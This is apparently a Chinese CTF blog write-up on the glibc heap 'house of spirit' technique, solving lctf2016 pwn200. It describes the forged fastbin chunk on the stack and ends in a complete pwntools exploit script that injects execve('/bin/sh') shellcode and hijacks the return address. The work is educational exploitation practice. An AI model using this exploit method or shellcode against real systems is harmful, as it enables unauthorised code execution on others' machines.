house-of-spirit-pwn200

前言 : 因为期末考试加上复习的原因,接近一个月没有做pwn题了,放寒假就回来在物理机上面装了个ubuntu(折腾了几天,不过装好了做题环境还是挺好用的),打算这个寒假学习完堆知识.来年好好上课(大三压力大!)有空打打比赛.

例题 : lctf2016_pwn200

house-of-spirit

利用条件:

(1)想要控制的目标区域的上方空间下方空间都是可控的内存区域

(2)存在可将堆变量指针覆盖指向为上方可控空间,从而达到将非可控空间可控空间进行合并变成fake_chunk(有点像unlink)

(3)释放堆块,将伪造的堆块释放入fastbin的单链表里面,重新拿出获得该块空间控制权

(4)更改之前非可控空间的数据,达到劫持程序执行流(getshell)

利用场景:

在这里插入图片描述

伪函数分析:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zsw822SQ-1641886903801)(house-of-spirit(pwn200)].assets/image-20220111123853145.png)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QyWcHvP6-1641886903802)(house-of-spirit(pwn200)].assets/image-20220111124218134.png)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-STk6xCWQ-1641886903802)(house-of-spirit(pwn200)].assets/image-20220111124304526.png)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-coir4eDY-1641886903803)(house-of-spirit(pwn200)].assets/image-20220111124514819.png)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kdSROTg0-1641886903804)(house-of-spirit(pwn200)].assets/image-20220111124553791.png)

本题利用思路:

  1. 通过"who are u" 写入shellcode,并泄漏rbp地址
  2. 通过"me your id ~ "布局fake chunk的next chunk的size绕过检查
  3. 通过"give me money ~"布局fake chunk的size以便伪造free chunk,并修改全局堆指针指向fake chunk 的mem位置
  4. 释放 + 重获fake chunk 拿到用作于堆块的栈空间
  5. 修改返回地址为shellcode指针

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l4xNqgvc-1641886903804)(house-of-spirit(pwn200)].assets/image-20220111144017235.png)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bVxmJMKj-1641886903805)(house-of-spirit(pwn200)].assets/image-20220111152443499.png)

最终exp:

# -*-coding:utf-8 -*
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./pwn200"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def z(s='b main'):
 gdb.attach(p,s)

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def pa(s='暂停!'):
  log.success('当前执行步骤 -> '+s)
  pause()
one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
sh = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
#start
#------------leak rbp -------------
padding = sh + (0x30 - len(sh)) * b'A' #填充0x30的数据(包括shellcode) 达到溢出rbp的地址
sa("who are u?", padding)
ru(padding)
rbp = uu64(rc(6))
success("rbp",rbp)
sh_addr = rbp - (0x7ffffec2b3b0-0x7ffffec2b360) #通过rbp计算偏移得到shellcode地址
success("shellcode addr",sh_addr)
#------------fake chunk---->next chunk size-------------
sla("ive me your id ~~?",str(0x22))# id这个值将保存在rbp-0x38处 因为fake_chunk的size为0x40 那么他就会作为next chunk的size
                           #取值要大于2*SIZE_ZE小于system_mem(0x21000) ,实测这个大小超过了1000就不行了
#------------fake chunk---------------------
fake = p64(0) + p64(0x60)  #0x60这个大小需要根据你要使用的栈指针去填写偏移值,使他的next chunk ->size指向前面填写的id值,从而绕过free检查
fake += p64(0x111111)*5 + p64(rbp-(0x7ffdf02eb6f0-0x7ffdf02eb640)) #fake的长度使最后一个p64刚好覆盖到堆指针->ptr
sa("ive me money~",fake)

#-----------free fake_chunk---------------
sla("our choice :",'2')
#-----------malloc fake_chunk-------------
sla("our choice :",'1')
sla("how long?",str(0x50)) #0x50的大小 malloc后就对应了前面的fake_chunk的大小
payload = b'B'*0x38 + p64(sh_addr) #控制这块内存进行程序流改写
sla(str(0x50),payload)
pa()
sla("our choice :",'3') #执行shellcode
it()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值